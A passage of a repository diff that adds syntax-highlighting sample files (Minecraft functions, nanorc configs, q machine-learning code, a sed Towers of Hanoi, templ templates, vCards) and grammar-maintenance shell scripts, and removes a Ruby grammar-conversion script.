+function mypack:raycast/loop
+function #mypack:hooks/raycast/begin
+effect give @s minecraft:night_vision 999999 1 true
+execute if score @a temp matches 10..20
+execute positioned 10 ~10 -10
+execute positioned 10 ^0.5 -10
+execute if block ~ ~ ~ minecraft:oak_leaves[persistent=true]
+execute if block ~ ~ ~ #minecraft:leaves[distance=5,persistent=false]
+tag @s add my.tag
+datapack enable "hello world"
+datapack enable "escape \" me"
+execute as f7a39418-72ca-4bf2-bc7e-ba9df67a4707 run say hello
+execute as 0-0-0-0-0 run say goodbye
+execute as @a[sort=nearest]
+execute as @a[gamemode=!creative]
+execute as @a[tag=foo,tag=bar,tag=!baz]
+execute as @a[distance=100]
+execute as @a[distance=1..19]
+execute as @a[distance=...001]
+execute as @a[type=minecraft:bat]
+execute as @a[type=!#minecraft:skeletons,type=!minecraft:zombie]
+execute as @a[name="Custom Name"] as @s
+execute as @e[nbt={ PortalCooldown: 0 }]
+execute as @e[nbt={ Item: {id: "minecraft:diamond", Count: 64 } }]
+execute if score @s foo < @s bar
+scoreboard players operation @s foo %= @s bar
+data get entity @s SelectedItem.tag.display.Name
+data get entity @s Inventory[0]
+data get entity @s Inventory[{id: "minecraft:diamond"}].Count
+data get entity @s Inventory[].tag{custom: true}.display.Name
+data merge entity @s { foo: true, bar: 1234 }
+data modify block ~ ~ ~ RecordItem.tag set value { messages: [hi, bye] }
+data modify block ~ ~ ~ RecordItem.tag.messages append value [ { message: "hello world" } ]
+tellraw @a {"text": "hello world", "color": "blue"}
+tellraw @a [{"text": "hello", "color": "blue"}, {"text": "world", "color": "blue"}]
+
diff --git a/samples/nanorc/filenames/.nanorc b/samples/nanorc/filenames/.nanorc
new file mode 100644
index 0000000000..8a1e782796
--- /dev/null
+++ b/samples/nanorc/filenames/.nanorc
@@ -0,0 +1,52 @@
+set smooth
+set autoindent
+set backup
+set morespace
+set nohelp
+set mouse
+
+# Nanorc files
+include "/usr/share/nano/nanorc.nanorc"
+ 
+## C/C++
+include "/usr/share/nano/c.nanorc"
+ 
+## HTML
+include "/usr/share/nano/html.nanorc"
+ 
+## TeX
+include "/usr/share/nano/tex.nanorc"
+ 
+## Quoted emails (under e.g. mutt)
+include "/usr/share/nano/mutt.nanorc"
+ 
+## Patch files
+include "/usr/share/nano/patch.nanorc"
+ 
+## Manpages
+include "/usr/share/nano/man.nanorc"
+ 
+## Groff
+include "/usr/share/nano/groff.nanorc"
+ 
+## Perl
+include "/usr/share/nano/perl.nanorc"
+ 
+## Python
+include "/usr/share/nano/python.nanorc"
+ 
+## Ruby
+include "/usr/share/nano/ruby.nanorc"
+ 
+## Java
+include "/usr/share/nano/java.nanorc"
+ 
+## Assembler
+include "/usr/share/nano/asm.nanorc"
+ 
+## Bourne shell scripts
+include "/usr/share/nano/sh.nanorc"
+ 
+## POV-Ray
+include "/usr/share/nano/pov.nanorc"
+
diff --git a/samples/nanorc/filenames/nanorc b/samples/nanorc/filenames/nanorc
new file mode 100644
index 0000000000..08068ff7de
--- /dev/null
+++ b/samples/nanorc/filenames/nanorc
@@ -0,0 +1,62 @@
+set afterends
+set atblanks
+set autoindent
+set backup
+set backupdir ""
+set boldtext
+set brackets ""')>]}"
+set casesensitive
+set constantshow
+set fill -8
+set historylog
+set linenumbers
+set locking
+set matchbrackets "(<[{)>]}"
+set morespace
+set mouse
+set multibuffer
+set noconvert
+set nonewlines
+set nopauses
+set nowrap
+set operatingdir "~/nanorc/dir"
+set positionlog
+set preserve
+set punct "!.?"
+set quickblank
+set quotestr "^([ 	]*([#:>|}]|//))+"
+set rebinddelete
+set rebindkeypad
+set regexp
+set showcursor
+set smarthome
+set smooth
+set softwrap
+set speller "aspell -x -c"
+set suspend
+set tabsize 4
+
+## Convert typed tabs to spaces.
+# set tabstospaces
+
+set tempfile
+set trimblanks
+set whitespace "»·"
+set wordbounds
+set wordchars "<_>."
+set titlecolor brightwhite,blue
+set statuscolor brightwhite,green
+set errorcolor brightwhite,red
+set selectedcolor brightwhite,magenta
+set numbercolor cyan
+set keycolor cyan
+set functioncolor green
+# In root's .nanorc you might want to use:
+set titlecolor brightwhite,magenta
+set statuscolor brightwhite,magenta
+set errorcolor brightwhite,red
+set selectedcolor brightwhite,cyan
+set numbercolor magenta
+set keycolor brightmagenta
+set functioncolor magenta
+include "/usr/share/nano/*.nanorc"
diff --git a/samples/nanorc/nanorc.nanorc b/samples/nanorc/nanorc.nanorc
new file mode 100644
index 0000000000..5ae01b67a0
--- /dev/null
+++ b/samples/nanorc/nanorc.nanorc
@@ -0,0 +1,20 @@
+syntax "nanorc" "nanorc$"
+header "^syntax +\""
+
+color green     "^i?color[[:space:]]*(bright)?(white|black|red|blue|green|yellow|magenta|cyan)?(,(white|black|red|blue|green|yellow|magenta|cyan))?\>"
+color brightwhite  "^(set|unset)[[:space:]]+(allow_insecure_backup|autoindent|backup|backupdir|backwards|boldtext|brackets|casesensitive|const|cut|fill|historylog|matchbrackets|morespace|mouse|multibuffer|noconvert|nofollow|nohelp|nonewlines|nowrap|operatingdir|poslog|preserve|punct)\>" "^[[:space:]]*(set|unset)[[:space:]]+(quickblank|quotestr|rebinddelete|rebindkeypad|regexp|smarthome|smooth|softwrap|speller|suspend|suspendenable|tabsize|tabstospaces|tempfile|undo|view|whitespace|wordbounds)\>"
+color brightwhite  "^(bind|i?color|set|unset|syntax|header|magic)\>"
+color red "^unbind\>"
+color brightwhite  "^i?color\>" "\<(start|end)="
+color brightyellow    "^include\>"
+
+color brightwhite  "^(PLAIN|TYPE|STRING|MACRO|NUMBER|VARIABLE|OPERATOR|~?KEYWORD):"
+color brightwhite  "^(BOOLEAN|SECTION|REGEXP|FUNCTION|ESCAPE|COMMENT|WARNING|JUMP):"
+color brightwhite  "^(TAG|ATTRIBUTE):"
+color brightyellow    "^\+(TODO|LINT|STRING|BOOLEAN|FUNCTION|INI|(C|HASH)COMMENT)$"
+
+color magenta   "\\.?"
+color cyan "(^|[[:space:]])#([^{].*)?$"
+color ,green "[[:space:]]+$"
+color ,red "	+ +| +	+"
+# +EXTRALINT
diff --git a/samples/q/ml.q b/samples/q/ml.q
new file mode 100644
index 0000000000..6e1e291c67
--- /dev/null
+++ b/samples/q/ml.q
@@ -0,0 +1,207 @@
+/
+ * Helper function for k means clustering
+\
+hlpr:{[t;k;means]
+ f:{[t;x] sqrt (+/) each xexp[;2] each (x -) each (value each t)};
+ r:f[t;] each means;
+ zipped:{[k;x] (til k) ,' x}[k;] each flip r;
+ cluster:first flip ({$[last x < last y;x;y]} over) each zipped;
+ / 1st column keeps count
+ m2::(k;(1+count t[0]))#0;
+ {m2[first x]+:1,1 _ x} each cluster ,' value each t;
+ m2::flip m2;
+ (flip 1 _ m2) % first m2}
+
+/
+ * k means clustering
+ *
+ * iris test:
+ *   q)iris:flip `sl`sw`pl`pw`class!("FFFFS";",") 0: `:iris.csv
+ *   q)\ts kmeans[delete class from iris;3]
+ *   25 77184
+\
+kmeans:{[t;k]
+ means:t[k?count t];
+ diff:(k;count t[0])#1;
+ while[any any diff;
+  omeans:means;
+  means:hlpr[t;k;means];
+  diff:0.01<abs omeans-means];
+ flip (cols t)!flip means}
+
+/
+ * Entropy
+\
+entropy:{
+ cnt:sum x;
+ p:x%cnt;
+ -1*sum p*xlog[2;p]}
+
+/
+ * Information Gain Helper function
+ *
+ * t is table where 1st col is attribute and remaining cols are class counts
+ * for each value in attribute, e.g.
+ *
+ * attr1 class1 class2
+ * -------------------
+ * 0     25     75
+ * 1     33     67
+ * ...
+ *
+ * cls is list of classes e.g. `class1`class2
+ * clscnt is list of occurances of each class
+ * setcnt is count of instances
+\
+ighlpr:{[t;cls;clscnt;setcnt]
+ e:entropy each flip t[cls];
+ p:(sum each flip t[cls])%setcnt;
+ entropy[clscnt] - sum e*p}
+
+/
+ * Information Gain
+ *
+ * test:
+ *   / random integers with class labels:
+ *   q)t:flip (`a`b`c`class!) flip {(3?100),1?`A`B`C} each til 10000
+ *   q)infogain[t] each `a`b`c
+ *   0.01451189 0.01573281 0.01328462
+\
+infogain:{[tbl;attrib]
+ cls:exec distinct class from tbl;
+ clscnt:(exec count i by class from tbl)[cls];
+ setcnt:count tbl;
+ d:distinct tbl[attrib];
+
+ / change attrib colname for ease of use with select syntax
+ t2:(`a xcol attrib xcols select from tbl);
+ t2:select count i by a, class from t2;
+ / create empty table to hold pivot
+ t3:flip (`a,cls)!(enlist[d],{[d;x]count[d]#0}[d;] each til count cls);
+ / pivot t2, change class column to a column per class value
+ t3:{x lj `a xkey flip (`a,y[`class])!(enlist y[`a];enlist y[`x])} over (enlist t3),0!t2;
+ ighlpr[t3;cls;clscnt;setcnt]}
+
+/
+ *
+ * Decision Tree ID3
+ *
+\
+
+/
+ * Generate paths through a decision tree.
+ *   data is a table containing entire dataset
+ *   d is a dict that contains attribute path (n_) and values (v_) to consider
+ *
+ * The result contains a table with two columns n_ and v_. The n_ column will
+ * match the input d[`n_] except new possible attributes are appended. The
+ * prefix of the v_ column should match the input values d[`v_].
+ *
+ * e.g.
+ *
+ * q)t:([] a:1 1 2 2;b:3 4 3 4;class:`A`B`A`B)
+ * q)nextpaths[t;`n_`v_!(enlist[`a];enlist[])]
+ * n_  v_
+ * ------
+ * a b 1
+ * a b 2
+\
+nextpaths:{[data;d]
+ n_:d[`n_];
+ attrs:key[first[data]] except `class;
+ if[null first n_;:flip `n_`v_!(enlist each attrs;count[attrs]#enlist[])];
+ / construct a func. query similar to "select v_:(x,'y) from data"
+ clause:{if[1=count x;:(each;enlist;first x)]; {((';,);x;y)} over x}[n_];
+ tmp:?[data;();1b;enlist[`v_]!enlist[clause]];
+ if[not null first d[`v_];
+    tmp:select from tmp where all each =[d[`v_];] each (-1_') v_];
+ / tack on the passed-in n_ to each row
+ tmp[`n_]:(count[tmp];count[n_])#n_;
+ tmp:`n_`v_ xcols tmp;
+
+ / find leaves: select count distinct class by <n_> from data
+ leaves:?[data;();n_!n_;enlist[`class]!enlist[(count;(distinct;`class))]];
+ / find leaves: select n_1,n_2,... from leaves where class=1
+ leaves:(value each) ?[leaves;enlist[(=;`class;1)];0b;n_!n_];
+
+ / internal nodes
+ tmpi:select from tmp where not v_ in leaves;
+ / leaf nodes
+ tmpl:select from tmp where v_ in leaves;
+
+ / dupe rows for each new attr to be appended to n_
+ newp:enlist[n_] cross attrs except n_;
+ tmpl , (,/){[newp;x] {`n_`v_!(y;x[`v_])}[x;] each newp }[newp;] each tmpi}
+
+/
+ * Query a table with a where clause generated by the d argument.
+ * e.g. igwrap[t;(`a`b;10 1)] will effectively run the query:
+ *   select from t where a=10,b=1
+ * TODO: symbols seem to need special treatment in functional queries?
+\
+igwrap:{[tbl;d] ?[tbl;{(=;x;$[-11=type y;enlist[y]; y])}'[first d;last d];0b;()]};
+
+/
+ * Perform one step of the ID3 algorithm.
+ *   data is a table containing entire dataset
+ *   tree is a n_, v_ table returned from nextpaths
+ *   l is level of algorithm to perform (i.e. how many elements in the paths)
+ *
+ * Returns a sorted table with infogain calculated for each path (e_ column)
+\
+id3step:{[data;tree;l]
+ / c_ contains a chain of attributes already split on
+ tree_:update c_:(-1_') n_ from select from tree where l = count each n_;
+ / get subsets of data matching c_ and v_
+ sub:igwrap[data] each flip tree_`c_`v_;
+ / a_ is candidate attribute for next split
+ a_:(-1#') tree_`n_;
+ / find infogain for each subset and candidate attribute
+ tree_[`e_]:{infogain . x} each (enlist each sub),'a_;
+ / sort infogain to find attr to split on next
+ / sort twice because groupby seems to jumble initial sort
+ `e_ xdesc value select first n_, first v_, first e_ by c_, v_ from `e_ xdesc tree_}
+
+/ helper function for recursive calls
+id3hlpr:{[data;tree;l]
+ if[0=count tree;:tree];
+ r:id3step[data;tree;l];
+ attrs:key[first[data]] except `class;
+ if[(0=count[r]) or l=count attrs;:r];
+ / recurse
+ np_:(,/) nextpaths[data] each r;
+ r:id3hlpr[data;np_;l+1];
+ / select paths that that have length l
+ tmpl:select from np_ where l = count each n_;
+ tmpl uj r}
+
+/
+ * ID3
+ *
+ * test:
+ *   q)t:flip (`a`b`c`d`class!) flip {(4?10),1?`A`B`C} each til 100
+ *   q)id3[t]
+ *
+\
+id3:{[data]
+ r:id3hlpr[data;nextpaths[data;`n_`v_!(enlist[];enlist[])];1];
+ / for each id3 path find the most common class, i.e. run query like:
+ /   select count i by class from data where (attr1=val1)&(attr2=val2)...
+ clauses:{{(&;x;y)} over {(=;first x;enlist last x)} each flip x`n_`v_} each r;
+ classes:{[data;clause]
+  r:?[data;enlist[clause];enlist[`class]!enlist[`class];enlist[`x]!enlist[(#:;`i)]];
+  first exec class from `x xdesc r}[data;] each clauses;
+ r[`class]:classes;
+ delete e_ from r}
+
+/
+ * Classic weather dataset
+ *
+\
+weatherdata:{
+ outlook:`sunny`sunny`overcast`rain`rain`rain`overcast`sunny`sunny`rain`sunny`overcast`overcast`rain;
+ temp:`hot`hot`hot`mild`cool`cool`cool`mild`cool`mild`mild`mild`hot`mild;
+ humidity:`high`high`high`high`normal`normal`normal`high`normal`normal`normal`high`normal`high;
+ wind:`weak`strong`weak`weak`weak`strong`strong`weak`weak`weak`strong`strong`weak`strong;
+ class:`no`no`yes`yes`yes`no`yes`no`yes`yes`yes`yes`yes`no;
+ t:([] outlook:outlook;temp:temp;humidity:humidity;wind:wind;class:class)}
\ No newline at end of file
diff --git a/samples/q/tq.q b/samples/q/tq.q
new file mode 100644
index 0000000000..97b388e656
--- /dev/null
+++ b/samples/q/tq.q
@@ -0,0 +1,21 @@
+dst:`:tq
+src:`:tqsrc
+F:key src
+
+/ trade fields (types;widths)   trf after 200609
+tf:`time`ex`sym`s`cond`size`price`stop`corr`seq`cts`trf
+tt:("TCSS*IFBIJCC ";9 1 6 10 4 9 11 1 2 16 1 1,1+20060930<"I"$-8#string first F)
+
+/ quote fields (types;widths)
+qf:`time`ex`sym`s`bid`bsize`ask`asize`cond`mmid`bex`aex`seq`bbo`qbbo`corr`cqs
+qt:("TCSSFIFIC*CCJCCCC ";9 1 6 10 11 7 11 7 1 4 1 1 16 1 1 1 1 2)
+
+/ sym[.s] "e"$pricebidask 
+g:{[f;x]`sym`time xcols delete s from @[;`sym;{$[null y;x;` sv x,y]}';x`s]@[x;f;"e"$%;1e4]}
+foo:{[d;f;t;g;x]@[;`sym;`p#].Q.dsftg[(dst;"D"$-8#string x;d);(` sv src,x;sum t 1;0);f;t;g]}
+
+\t foo[`trade;tf;tt;g[`price]  ]each F where F like"taqtrade*[0-9]";
+\t foo[`quote;qf;qt;g[`bid`ask]]each F where F like"taqquote*[0-9]";
+
+\
+http://www.nyxdata.com/Data-Products/Daily-TAQ
diff --git a/samples/robots.txt/filenames/robots.txt b/samples/robots.txt/filenames/robots.txt
new file mode 100644
index 0000000000..1a58c5cd03
--- /dev/null
+++ b/samples/robots.txt/filenames/robots.txt
@@ -0,0 +1,13 @@
+# Block non-content pages
+User-agent: Duckduckbot
+User-agent: Bingbot
+User-agent: Googlebot
+Disallow: /404
+Disallow: /search
+
+# General
+User-agent: *
+Allow: /
+Cache-control: 10
+
+Sitemap: https://www.example.com/sitemap.xml
diff --git a/samples/sed/hanoi.sed b/samples/sed/hanoi.sed
new file mode 100644
index 0000000000..6a45deaa94
--- /dev/null
+++ b/samples/sed/hanoi.sed
@@ -0,0 +1,103 @@
+# Towers of Hanoi in sed.
+#
+#	@(#)hanoi.sed	8.1 (Berkeley) 6/6/93
+# $FreeBSD$
+#
+#
+# Ex:
+# Run "sed -f hanoi.sed", and enter:
+#
+#	:abcd: : :<CR>
+#
+# note -- TWO carriage returns were once required, this will output the
+# sequence of states involved in moving 4 rings, the largest called "a" and
+# the smallest called "d", from the first to the second of three towers, so
+# that the rings on any tower at any time are in descending order of size.
+# You can start with a different arrangement and a different number of rings,
+# say :ce:b:ax: and it will give the shortest procedure for moving them all
+# to the middle tower.  The rules are: the names of the rings must all be
+# lower-case letters, they must be input within 3 fields (representing the
+# towers) and delimited by 4 colons, such that the letters within each field
+# are in alphabetical order (i.e. rings are in descending order of size).
+#
+# For the benefit of anyone who wants to figure out the script, an "internal"
+# line of the form
+#		b:0abx:1a2b3 :2   :3x2
+# has the following meaning: the material after the three markers :1, :2,
+# and :3 represents the three towers; in this case the current set-up is
+# ":ab :   :x  :".  The numbers after a, b and x in these fields indicate
+# that the next time it gets a chance, it will move a to tower 2, move b
+# to tower 3, and move x to tower 2.  The string after :0 just keeps track
+# of the alphabetical order of the names of the rings.  The b at the
+# beginning means that it is now dealing with ring b (either about to move
+# it, or re-evaluating where it should next be moved to).
+#
+# Although this version is "limited" to 26 rings because of the size of the
+# alphabet, one could write a script using the same idea in which the rings
+# were represented by arbitrary [strings][within][brackets], and in place of
+# the built-in line of the script giving the order of the letters of the
+# alphabet, it would accept from the user a line giving the ordering to be
+# assumed, e.g. [ucbvax][decvax][hplabs][foo][bar].
+#
+#			George Bergman
+#			Math, UC Berkeley 94720 USA
+
+# cleaning, diagnostics
+s/  *//g
+/^$/d
+/[^a-z:]/{a\
+Illegal characters: use only a-z and ":".  Try again.
+d
+}
+/^:[a-z]*:[a-z]*:[a-z]*:$/!{a\
+Incorrect format: use\
+\	: string1 : string2 : string3 :<CR>\
+Try again.
+d
+}
+/\([a-z]\).*\1/{a\
+Repeated letters not allowed.  Try again.
+d
+}
+# initial formatting
+h
+s/[a-z]/ /g
+G
+s/^:\( *\):\( *\):\( *\):\n:\([a-z]*\):\([a-z]*\):\([a-z]*\):$/:1\4\2\3:2\5\1\3:3\6\1\2:0/
+s/[a-z]/&2/g
+s/^/abcdefghijklmnopqrstuvwxyz/
+:a
+s/^\(.\).*\1.*/&\1/
+s/.//
+/^[^:]/ba
+s/\([^0]*\)\(:0.*\)/\2\1:/
+s/^[^0]*0\(.\)/\1&/
+:b
+# outputting current state without markers
+h
+s/.*:1/:/
+s/[123]//gp
+g
+:c
+# establishing destinations
+/^\(.\).*\1:1/td
+/^\(.\).*:1[^:]*\11/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\31/
+/^\(.\).*:1[^:]*\12/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\33/
+/^\(.\).*:1[^:]*\13/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\32/
+/^\(.\).*:2[^:]*\11/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\33/
+/^\(.\).*:2[^:]*\12/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\32/
+/^\(.\).*:2[^:]*\13/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\31/
+/^\(.\).*:3[^:]*\11/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\32/
+/^\(.\).*:3[^:]*\12/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\31/
+/^\(.\).*:3[^:]*\13/s/^\(.\)\(.*\1\([a-z]\).*\)\3./\3\2\33/
+bc
+# iterate back to find smallest out-of-place ring
+:d
+s/^\(.\)\(:0[^:]*\([^:]\)\1.*:\([123]\)[^:]*\1\)\4/\3\2\4/
+td
+# move said ring (right, resp. left)
+s/^\(.\)\(.*\)\1\([23]\)\(.*:\3[^ ]*\) /\1\2 \4\1\3/
+s/^\(.\)\(.*:\([12]\)[^ ]*\) \(.*\)\1\3/\1\2\1\3\4 /
+tb
+s/.*/Done!  Try another, or end with ^D./p
+d
diff --git a/samples/templ/posts.templ b/samples/templ/posts.templ
new file mode 100644
index 0000000000..459cc16e49
--- /dev/null
+++ b/samples/templ/posts.templ
@@ -0,0 +1,62 @@
+package main
+
+import "fmt"
+import "time"
+
+templ headerTemplate(name string) {
+	<header data-testid="headerTemplate">
+		<h1>{ name }</h1>
+	</header>
+}
+
+templ footerTemplate() {
+	<footer data-testid="footerTemplate">
+		<div>&copy; { fmt.Sprintf("%d", time.Now().Year()) }</div>
+	</footer>
+}
+
+templ navTemplate() {
+	<nav data-testid="navTemplate">
+		<ul>
+			<li><a href="/">Home</a></li>
+			<li><a href="/posts">Posts</a></li>
+		</ul>
+	</nav>
+}
+
+templ layout(name string) {
+	<html>
+		<head><title>{ name }</title></head>
+		<body>
+			@headerTemplate(name)
+			@navTemplate()
+			<main>
+				{ children... }
+			</main>
+		</body>
+		@footerTemplate()
+	</html>
+}
+
+templ postsTemplate(posts []Post) {
+	<div data-testid="postsTemplate">
+		for _, p := range posts {
+			<div data-testid="postsTemplatePost">
+				<div data-testid="postsTemplatePostName">{ p.Name }</div>
+				<div data-testid="postsTemplatePostAuthor">{ p.Author }</div>
+			</div>
+		}
+	</div>
+}
+
+templ home() {
+	@layout("Home") {
+		<div data-testid="homeTemplate">Welcome to my website.</div>
+	}
+}
+
+templ posts(posts []Post) {
+	@layout("Posts") {
+		@postsTemplate(posts)
+	}
+}
diff --git a/samples/vCard/forrest-gump.vcf b/samples/vCard/forrest-gump.vcf
new file mode 100644
index 0000000000..71f1eac0b1
--- /dev/null
+++ b/samples/vCard/forrest-gump.vcf
@@ -0,0 +1,16 @@
+BEGIN:VCARD
+VERSION:2.1
+N:Gump;Forrest
+FN:Forrest Gump
+ORG:Bubba Gump Shrimp Co.
+TITLE:Shrimp Man
+PHOTO;GIF:http://www.example.com/dir_photos/my_photo.gif
+TEL;WORK;VOICE:(111) 555-1212
+TEL;HOME;VOICE:(404) 555-1212
+ADR;WORK:;;100 Waters Edge;Baytown;LA;30314;United States of America
+LABEL;WORK;ENCODING=QUOTED-PRINTABLE:100 Waters Edge=0D=0ABaytown, LA 30314=0D=0AUnited States of America
+ADR;HOME:;;42 Plantation St.;Baytown;LA;30314;United States of America
+LABEL;HOME;ENCODING=QUOTED-PRINTABLE:42 Plantation St.=0D=0ABaytown, LA 30314=0D=0AUnited States of America
+EMAIL;PREF;INTERNET:forrestgump@example.com
+REV:20080424T195243Z
+END:VCARD
diff --git a/samples/vCard/vcard.vcf b/samples/vCard/vcard.vcf
new file mode 100644
index 0000000000..bab8344616
--- /dev/null
+++ b/samples/vCard/vcard.vcf
@@ -0,0 +1,34 @@
+BEGIN:VCARD
+VERSION:4.0
+ADR;TYPE=work:pobox;apt;street;city;state;zipcode;country
+ANNIVERSARY:19960415
+BDAY:--0203
+CALADRURI:http://example.com/calendar/jdoe
+CALURI;MEDIATYPE=text/calendar:ftp://ftp.example.com/calA.ics
+CLIENTPIDMAP:1;urn:uuid:3df403f4-5924-4bb7-b077-3c711d9eb34b
+EMAIL;TYPE=work:jqpublic@xyz.example.com
+FBURL;MEDIATYPE=text/calendar:ftp://example.com/busy/project-a.ifb
+FN:J. Doe
+GENDER:M;Fellow
+GEO:geo:37.386013\,-122.082932
+IMPP;PREF=1:xmpp:alice@example.com
+KEY:http://www.example.com/keys/jdoe.cer
+KIND:individual
+LANG;PREF=1:fr
+LOGO:http://www.example.com/pub/logos/abccorp.jpg
+MEMBER:urn:uuid:03a0e51f-d1aa-4385-8a53-e29025acd8af
+N:Stevenson;John;Philip,Paul;Dr.;Jr.,M.D.,A.C.P.
+NICKNAME;TYPE=work:Boss
+NOTE:This fax number is operational 0800 to 1715 EST\, Mon-Fri
+ORG:ABC\, Inc.;North American Division;Marketing
+PHOTO:http://www.example.com/pub/photos/jqpublic.gif
+RELATED;TYPE=friend:urn:uuid:f81d4fae-7dec-11d0-a765-00a0c91e6bf6
+REV:19951031T222710Z
+ROLE:Project Leader
+SOUND:CID:JOHNQPUBLIC.part8.19960229T080000.xyzMail@example.com
+SOURCE:ldap://ldap.example.com/cn=Babs%20Jensen\,%20o=Babsco\,%20c=US
+TEL;VALUE=uri;TYPE=home:tel:+33-01-23-45-67
+TITLE:Research Scientist
+TZ;VALUE=utc-offset:-0500
+XML:<html xmlns="http://www.w3.org/1999/xhtml"></html>
+END:VCARD
diff --git a/script/add-grammar b/script/add-grammar
new file mode 100755
index 0000000000..cc66cf0bec
--- /dev/null
+++ b/script/add-grammar
@@ -0,0 +1,140 @@
+#!/bin/sh
+# shellcheck disable=SC2006,SC2021
+set -e
+
+usage="${0##*/} [-q|--quiet] [--replace submodule] url"
+unset replace quiet
+
+# Print non-essential feedback
+log()([ "$quiet" ] || printf '%s\n' "$@")
+
+# Print an error message
+warn()(printf '%s: %s\n' "${0##*/}" "$@")
+
+# Display a shortened help summary and bail with an error code
+bad_invocation(){
+	printf '%s\n' "$usage" >&2
+	exit 2
+}
+
+
+# Parse options
+while [ -n "$1" ]; do case $1 in
+
+	# Print an unabridged usage summary, then exit
+	-h|--help|-\?)
+		cat <<-HELP
+		Usage:
+		    $usage
+
+		Options:
+		    -q, --quiet               Do not print output unless there's a failure.
+		    -r, --replace SUBMODDULE  Replace an existing grammar submodule.
+
+		Examples:
+		    $0 https://github.com/Alhadis/language-roff
+		    $0 --replace sublime-apl https://github.com/Alhadis/language-apl
+		HELP
+		exit ;;
+
+	# Hide non-essential feedback
+	-q | --quiet)
+		quiet=1
+		break ;;
+
+	# Replace an existing submodule
+	-r* | --replace | --replace=*)
+		case $1 in
+			-r|--replace) replace=$2; shift ;; # -r [module], --replace [module]
+			-r*)          replace=${1#??}   ;; # -r[module]
+			--replace=*)  replace=${1#*=}   ;; # --replace=[module]
+		esac ;;
+
+	# Double-dash: Terminate option parsing
+	--)
+		shift
+		break ;;
+
+	# Invalid option: abort
+	--* | -?*)
+		warn 'invalid option: "%s"' "${0##*/}" "$1" >&2
+		bad_invocation ;;
+
+	# Argument not prefixed with a dash
+	*) break ;;
+
+esac; shift
+done
+
+
+# Don't proceed any further if we don't have a URL
+[ "$1" ] || bad_invocation
+
+
+# Check upfront that executables we depend on are available
+for cmd in docker git sed ruby bundle; do
+	command -v "$cmd" >/dev/null 2>&1 || {
+		warn "Required command '$cmd' not found"
+		warn 'See CONTRIBUTING.md for help on getting started: https://git.io/J0eqy'
+		exit 1
+	}
+done
+
+# Make sure Docker's running
+log 'Checking Docker is installed and running'
+docker ps >/dev/null
+
+# Make sure we're running from checkout directory
+root=`git rev-parse --git-dir`
+root="${root%/.git}"
+# shellcheck disable=SC3013
+if [ ! "$root" = .git ] && [ -d "$root" ] && ! [ . -ef "$root" ] >/dev/null 2>&1; then
+	log "Switching directory to $root"
+	cd "$root"
+fi
+
+# Ensure the given URL is an HTTPS link
+url=`script/normalise-url --protocol=https "$1"`
+
+# Make sure it's not already registered
+path="vendor/grammars/${url##*/}"
+path="${path%.git}"
+if [ -e "$path" ] && [ -z "$replace" ]; then
+	warn "Submodule '$path' already exists. Did you forget the '--replace' option?"
+	warn "Run '$0 --help' for invocation advice"
+	exit 1
+fi
+
+# Remove the old submodule if we're `--replace`ing one
+if [ "$replace" ]; then
+
+	# Normalise submodule reference
+	replace=`printf %s "$replace" \
+		| tr '[A-Z]' '[a-z]' \
+		| sed 's/^\(.*\/\)\{0,1\}vendor\///; s/^grammars\///'`
+	replace=`git config --list \
+		| grep -Fi -m1 "submodule.vendor/grammars/$replace.url=" \
+		| sed 's/\.url=.*//; s/^submodule\.//' || :`
+	[ "$replace" ] || {
+		warn "Submodule '$replace' does not exist. Aborting."
+		exit 1
+	}
+
+	log "Deregistering submodule: $replace"
+	git submodule deinit "$replace"
+	git rm -rf "$replace"
+	rm -rf ".git/modules/$replace"
+	script/grammar-compiler update -f >/dev/null 2>&1
+fi
+
+log "Registering new submodule: $url"
+git submodule add -f "$url" "$path"
+script/grammar-compiler add "$path"
+
+log 'Caching grammar license'
+bundle exec licensed cache -c vendor/licenses/config.yml
+
+log 'Updating grammar documentation in vendor/README.md'
+bundle exec rake samples >/dev/null 2>&1
+script/sort-submodules
+script/list-grammars
diff --git a/script/bootstrap b/script/bootstrap
index e86baee409..c51ad9f63b 100755
--- a/script/bootstrap
+++ b/script/bootstrap
@@ -4,10 +4,21 @@ set -e
 
 cd "$(dirname "$0")/.."
 
+if [ -f "Brewfile" ] && [ "$(uname -s)" = "Darwin" ]; then
+  brew bundle check >/dev/null 2>&1  || {
+    echo "==> Installing Homebrew dependencies…"
+    brew bundle
+  }
+fi
+
 bundle config --local path vendor/gems
 
 bundle check > /dev/null 2>&1 || bundle install
 
+echo "==> Initialising submodules…"
 git submodule init
 git submodule sync --quiet
 script/fast-submodule-update
+
+echo "==> Generating samples…"
+bundle exec rake samples > /dev/null 2>&1
diff --git a/script/build-grammars-tarball b/script/build-grammars-tarball
new file mode 100755
index 0000000000..e550d8ddce
--- /dev/null
+++ b/script/build-grammars-tarball
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+set -e
+cd "$(dirname "$0")/.."
+rm -rf ./linguist-grammars
+./script/grammar-compiler compile -o linguist-grammars || true
+tar -zcvf linguist-grammars.tar.gz linguist-grammars
diff --git a/script/convert-grammars b/script/convert-grammars
deleted file mode 100755
index ec3287dbd2..0000000000
--- a/script/convert-grammars
+++ /dev/null
@@ -1,306 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'json'
-require 'net/http'
-require 'optparse'
-require 'plist'
-require 'set'
-require 'thread'
-require 'tmpdir'
-require 'uri'
-require 'yaml'
-
-ROOT = File.expand_path("../..", __FILE__)
-GRAMMARS_PATH = File.join(ROOT, "grammars")
-SOURCES_FILE = File.join(ROOT, "grammars.yml")
-CSONC = File.join(ROOT, "node_modules", ".bin", "csonc")
-
-$options = {
-  :add => false,
-  :install => true,
-  :output => SOURCES_FILE,
-  :remote => true,
-}
-
-class SingleFile
-  def initialize(path)
-    @path = path
-  end
-
-  def url
-    @path
-  end
-
-  def fetch(tmp_dir)
-    [@path]
-  end
-end
-
-class DirectoryPackage
-  def self.fetch(dir)
-    Dir["#{dir}/**/*"].select do |path|
-      case File.extname(path.downcase)
-      when '.plist'
-        path.split('/')[-2] == 'Syntaxes'
-      when '.tmlanguage'
-        true
-      when '.cson', '.json'
-        path.split('/')[-2] == 'grammars'
-      else
-        false
-      end
